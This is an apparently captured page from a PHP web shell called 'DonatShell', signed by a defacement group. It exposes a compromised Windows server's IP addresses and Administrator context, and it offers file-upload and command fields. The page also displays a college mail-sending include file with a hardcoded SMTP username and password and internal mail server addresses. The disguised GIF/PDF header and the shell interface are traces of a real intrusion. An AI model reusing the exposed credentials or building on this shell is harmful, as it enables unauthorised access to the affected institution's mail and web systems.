GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Software/email2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Software/email2/sendEmail2.phpinc
<?
// sendEmail.phpinc

//debugTrackBegin();

// Verify mail fields.
#$mailSend = false;
$mailSend = true;
#$debugEmailOn = true;
$debugEmailOn = false;
$mailMessage = '';
if ($mail->From == "") { $mailSend = false; $mailMessage .= 'From address not set. ($mail->From == "")<br>'; }
if (count($mail->to) == 0) { $mailSend = false;  $mailMessage .= 'To address not set. (count($mail->to) == 0)<br>'; }
if ($mail->Subject == "") { $mailSend = false;  $mailMessage .= 'Subject not set. ($mail->Subject == "")<br>'; }
if ($mail->Body == "") { $mailSend = false;  $mailMessage .= 'Body not set. ($mail->Body == "")<br>'; }
if ($mail->AltBody == "") { $mail->AltBody = "Please view this email in HTML format."; }

if ($debugEmailOn) {
	echo '<span style="font-weight:normal">';
	echo "<b>\$mail->From=</b>",$mail->From,": ",basename(__FILE__),": ",__LINE__,"<br>\n";
	echo "<b>\$mail->to=</b>"; print_r($mail->to); echo ": ",basename(__FILE__),": ",__LINE__,"<br>\n";
	echo "<b>\$mail->Subject=</b>",$mail->Subject,": ",basename(__FILE__),": ",__LINE__,"<br>\n";
	echo "<b>\$mail->Body=</b>",$mail->Body,": ",basename(__FILE__),": ",__LINE__,"<br>\n";
	echo "<b>\$mail->AltBody=</b>",$mail->AltBody,": ",basename(__FILE__),": ",__LINE__,"<br>\n";
	echo "<b>\$mailMessage=</b>",$mailMessage,": ",basename(__FILE__),": ",__LINE__,"<br>\n";
	$mailHost = "knockknock.ridgewater.edu";  // Specify main email server.
	foreach ($mail->to as $thisMailTo) {
		echo "<b>\$thisMailTo="; print_r($thisMailTo); echo "</b>: ",basename(__FILE__),": ",__LINE__,"<br>\n";
		if (!strstr($thisMailTo[0],"ridgewater.edu")) {
			$mailHost = "134.29.172.137";  // Email address not in ridgewater.edu domain. Specify backup email server.
		}
	}
	echo "<b>\$mailHost=",$mailHost,"</b>: ",basename(__FILE__),": ",__LINE__,"<br>\n";
	echo '</span>'."\n";
	#exit;
}

if ($mailSend) {
	// Send email.
	$mail->IsSMTP();                            // set mailer to use SMTP
	#$mailHost = "knockknock.ridgewater.edu";  // Specify main email server.
	$mailHost = "bunsen.ridgewater.edu";  // Specify main email server.
	foreach ($mail->to as $thisMailTo) {
		if (!strstr($thisMailTo[0],"ridgewater.edu")) {
			$mailHost = "134.29.172.137";  // Email address not in ridgewater.edu domain. Specify backup email server.
		}
	}
	$mail->Host = $mailHost;  // specify mail server
	$mail->Host = "134.29.172.137";  // specify main and backup server
	$mail->SMTPAuth = true;     // turn on SMTP authentication
	$mail->Username = "CST";  // SMTP username
	$mail->Password = "ridge1234"; // SMTP password
	//$mail->WordWrap = 50;                                 // set word wrap to 50 characters
	//$mail->AddAttachment("/var/tmp/file.tar.gz");         // add attachments
	//$mail->AddAttachment("/tmp/image.jpg", "new.jpg");    // optional name
	if ($mail->Body != '') {
		$mail->IsHTML(true);                                  // set email format to HTML
	} else {
		$mail->IsHTML(false);                                  // set email format to text
	}
	if(!$mail->Send())
	{
		 $mailError = $mail->ErrorInfo;
		 $mailSend = false;
		 $mailMessage = "Message could not be sent.<p>Mailer Error: ".$mailError."<br>";
	} else {
		 $mailError = '';
		 $mailSend = true;
		 $mailMessage = "Message has been given to server.<br>";
	}
} else {
	$mailError = 'Fields for email were not preset correctly.';
}
if (isset($GLOBALS['TRACK']) && $GLOBALS['TRACK'] != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team